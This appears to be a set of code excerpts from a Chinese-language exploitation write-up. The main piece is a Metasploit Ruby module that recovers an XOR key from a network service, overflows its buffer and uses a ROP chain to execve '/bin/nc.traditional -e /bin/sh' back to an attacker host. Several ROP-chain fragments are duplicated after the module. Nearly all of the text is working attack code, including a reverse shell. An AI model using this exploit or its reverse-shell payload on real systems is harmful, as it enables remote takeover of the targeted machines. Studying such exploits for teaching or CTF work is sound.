payload="A"*0x20020+["0xdeadbeef"].pack('V')

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp

  def initialize()
    [...]				#不重要
  end

  def encrypt(len, data)
    buffer = "E" + [len].pack('L') + data
    sock.put(buffer)
    msg = buffered_recv(124)
    enc_data = buffered_recv(len)
    return enc_data
  end

  def buffered_recv(size)
    data = ""
    new_data = ""
    size_to_receive = size
    while(data.length < size) do
      new_data = sock.recv(size_to_receive)
      size_to_receive -= new_data.length
      data += new_data
    end
    data
  end

  def xor_encrypt(data, key)
    # Make sure key is the same length as the data
    while key.length < data.length do
      key += key
    end
    key = key[0..data.length-1]  

    data.unpack('C*').zip(key.unpack('C*')).map { |p, e| p ^ e}.pack('C*')
  end


  def exploit
    # Open the TCP connection
    connect

    # Receive initial messages
    buffered_recv(57)

    # Recover the encryption key
    data = "A" *128
    encrypted_data = encrypt(data.length, data)
    key = xor_encrypt(data, encrypted_data)

    # Created enough data to cause a crash
    prejunk = "A" * 0x20010 

    cmd = "/bin/nc.traditional"
    null = "\000"
    args = [cmd, "-e", "/bin/sh", datastore['LHOST'], datastore['LPORT'].to_s]
    bss = 0x0804b420
    data = ""


    # Create each of the string pointers
    offset = 24 + cmd.length + 1 # 6 ptrs, the command, and a null
    args.each do |arg| 
      data += [bss+offset].pack('V')
      offset += arg.length + 1
    end
    # Terminate the string pointers
    data += [0x00000000].pack('V') 

    # The first argument, the filename
    data += cmd + null

    # Create each of the argument strings
    args.each { |arg| data += arg + null }

    # ROP chain for nread
    ropbuf = [0x0804952d].pack('V') # addr of nread
    ropbuf += [0x08048f85].pack('I') # return address, also pop;pop;pop 
    ropbuf += [0x00000000].pack('I') # arg0: filedes
    ropbuf += [0x0804b420].pack('V') # arg1: buf ptr
    ropbuf += [data.length].pack('I') # arg2: length

    # ROP chain for execve 
    ropbuf += [0x08048818].pack('V') # pop ebx | ret
    ropbuf += [0x0804b3d8].pack('V') # got entry for execve
    ropbuf += [0x08049fe3].pack('V') # call ebx
    ropbuf += [0x0804b438].pack('V') # addr of /bin/nc.traiditonal
    ropbuf += [0x0804b420].pack('I') # addr of args
    ropbuf += [0x00000000].pack('I') # null

    buf = prejunk + ropbuf
    e = xor_encrypt(buf, key)
    encrypt(e.length, e)

    # Send the quit command
    sock.put('Q')

    # Send extra data for the rop chain to read
    sock.put(data)

    handler
    disconnect
  end
end

# Created enough data to cause a crash
prejunk = "A" * 0x20010 
#[...] 省略
# ROP chain for nread
ropbuf = [0x0804952d].pack('V') # addr of nread
ropbuf += [0x08048f85].pack('I') # return address, also pop;pop;pop 
ropbuf += [0x00000000].pack('I') # arg0: filedes
ropbuf += [0x0804b420].pack('V') # arg1: buf ptr
ropbuf += [data.length].pack('I') # arg2: length

# ROP chain for nread
  ropbuf = [0x0804952d].pack('V') # addr of nread
  ropbuf += [0x08048f85].pack('I') # return address, also pop;pop;pop 
  ropbuf += [0x00000000].pack('I') # arg0: filedes
  ropbuf += [0x0804b420].pack('V') # arg1: buf ptr
  ropbuf += [data.length].pack('I') # arg2: length

  # ROP chain for execve 
  ropbuf += [0x08048818].pack('V') # pop ebx | ret
  ropbuf += [0x0804b3d8].pack('V') # got entry for execve
  ropbuf += [0x08049fe3].pack('V') # call ebx
  ropbuf += [0x0804b438].pack('V') # addr of /bin/nc.traiditonal
  ropbuf += [0x0804b420].pack('I') # addr of args
  ropbuf += [0x00000000].pack('I') # null